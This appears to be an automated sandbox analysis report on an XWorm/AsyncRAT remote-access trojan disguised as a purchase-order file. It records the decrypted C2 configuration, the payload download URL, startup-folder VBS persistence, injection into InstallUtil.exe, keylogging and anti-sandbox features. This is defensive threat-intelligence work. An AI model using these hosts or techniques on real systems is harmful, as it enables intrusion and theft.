Windows Analysis Report
PO#8329837372938383839238PDF.exe

Overview

General Information

Sample name: PO#8329837372938383839238PDF.exe
Analysis ID: 1559973
MD5: ba88dca6e9d0a6f55a8addc30b02d988
SHA1: f48b8d8255a9192675dde74ef7db412fcb528792
SHA256: b15e57df1ab1fc902337d52f633267b802ccee6f37ba21ca065ae14380817081
Tags: exeuser-lowmal3
Infos:

Detection

XWorm
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Yara detected AntiVM3
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to log keystrokes (.Net Source)
Drops VBS files to the startup folder
Initial sample is a PE file and has a suspicious name
Machine Learning detection for dropped file
Machine Learning detection for sample
Sample uses string decryption to hide its real strings
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Stores files to the Windows start menu directory
Uses 32bit PE files
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: nwamama.ydns.eu Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["nwamama.ydns.eu"], "Port": 3791, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\SupportsDynamicPartitions.exe ReversingLabs: Detection: 18%
Multi AV Scanner detection for submitted file
Source: PO#8329837372938383839238PDF.exe Virustotal: Detection: 33% Perma Link
Source: PO#8329837372938383839238PDF.exe ReversingLabs: Detection: 18%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\SupportsDynamicPartitions.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: PO#8329837372938383839238PDF.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack String decryptor: nwamama.ydns.eu
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack String decryptor: 3791
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack String decryptor: <123456789>
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack String decryptor: <Xwormmm>
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack String decryptor: XWorm V5.6
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack String decryptor: USB.exe
Uses 32bit PE files
Source: PO#8329837372938383839238PDF.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 167.250.5.91:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: PO#8329837372938383839238PDF.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: HP<o8C:\Windows\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.pdbYQXX source: InstallUtil.exe, 00000003.00000002.3397365470.00000000009F2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdbT source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A07000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.000000000463E000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261970867.00000000075C0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: ((.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A07000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\InstallUtil.pdbI source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: osymbols\exe\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.000000000463E000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261970867.00000000075C0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: InstallUtil.pdbllUtil.pdbpdbtil.pdb.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdbp' source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\InstallUtil.pdbpdbtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.00000000009F2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\System.pdbpdbtem.pdbtion source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\exe\InstallUtil.pdbal source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.pdbed[ source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\InstallUtil.pdb( source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A54000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdbJC source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.PDB`w; source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb- source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A54000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: @Ho.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.pdb0. source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\exe\InstallUtil.pdb03 source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ?HoC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: nwamama.ydns.eu
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /rindasq/Karjsfww.vdf HTTP/1.1Host: sierrassinfinusadas.com.arConnection: Keep-Alive
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /rindasq/Karjsfww.vdf HTTP/1.1Host: sierrassinfinusadas.com.arConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: sierrassinfinusadas.com.ar
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sierrassinfinusadas.com.ar
Source: PO#8329837372938383839238PDF.exe, SupportsDynamicPartitions.exe.0.dr String found in binary or memory: https://sierrassinfinusadas.com.ar/rindasq/Karjsfww.vdf
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown HTTPS traffic detected: 167.250.5.91:443 -> 192.168.2.6:49714 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, XLogger.cs .Net Code: KeyboardLayout

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.InstallUtil.exe.730000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.3396289534.0000000000732000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: PO#8329837372938383839238PDF.exe
Detected potential crypto function
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_0332EA60 0_2_0332EA60
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_0332AE90 0_2_0332AE90
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_0332AE80 0_2_0332AE80
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_0332B4D8 0_2_0332B4D8
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_07E5EE20 0_2_07E5EE20
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_07E5E1D8 0_2_07E5E1D8
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_07E40040 0_2_07E40040
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Code function: 0_2_07E4003F 0_2_07E4003F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 3_2_009B0ECC 3_2_009B0ECC
One or more processes crash
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 904
Sample file is different than original file name gathered from version info
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2262795795.0000000007EE2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameQdfznao.exe0 vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2260131036.0000000007140000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameGkuelov.dll" vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2236686816.000000000153E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003CD4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamex-rawfile.exe4 vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000000.2131113698.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameQdfznao.exe0 vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.000000000463E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamex-rawfile.exe4 vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameQdfznao.exe0 vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameGkuelov.dll" vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2261970867.00000000075C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO#8329837372938383839238PDF.exe
Source: PO#8329837372938383839238PDF.exe Binary or memory string: OriginalFilenameQdfznao.exe0 vs PO#8329837372938383839238PDF.exe
Uses 32bit PE files
Source: PO#8329837372938383839238PDF.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.InstallUtil.exe.730000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.3396289534.0000000000732000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, AlgorithmAES.cs Cryptographic APIs: 'TransformFinalBlock'
Source: PO#8329837372938383839238PDF.exe, ConnectionTaskList.cs Task registration methods: 'RegisterSchema', 'RegisterConnection'
Source: PO#8329837372938383839238PDF.exe, CreatorProxyAuth.cs Task registration methods: 'CreateTask'
Source: SupportsDynamicPartitions.exe.0.dr, ConnectionTaskList.cs Task registration methods: 'RegisterSchema', 'RegisterConnection'
Source: SupportsDynamicPartitions.exe.0.dr, CreatorProxyAuth.cs Task registration methods: 'CreateTask'
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, ITaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, TaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, TaskSecurity.cs Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, TaskSecurity.cs Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, TaskFolder.cs Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, ClientSocket.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, ClientSocket.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, TaskPrincipal.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, Task.cs Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, User.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@4/3@2/1
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportsDynamicPartitions.vbs Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1016:64:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: \Sessions\1\BaseNamedObjects\bUIwrJMMMqrauUWR
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\6802be69-19cf-4321-b8d8-8e0cd8187af3 Jump to behavior
Source: PO#8329837372938383839238PDF.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PO#8329837372938383839238PDF.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: PO#8329837372938383839238PDF.exe Virustotal: Detection: 33%
Source: PO#8329837372938383839238PDF.exe ReversingLabs: Detection: 18%
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File read: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe "C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe"
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 904
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: schannel.dll Jump to behavior
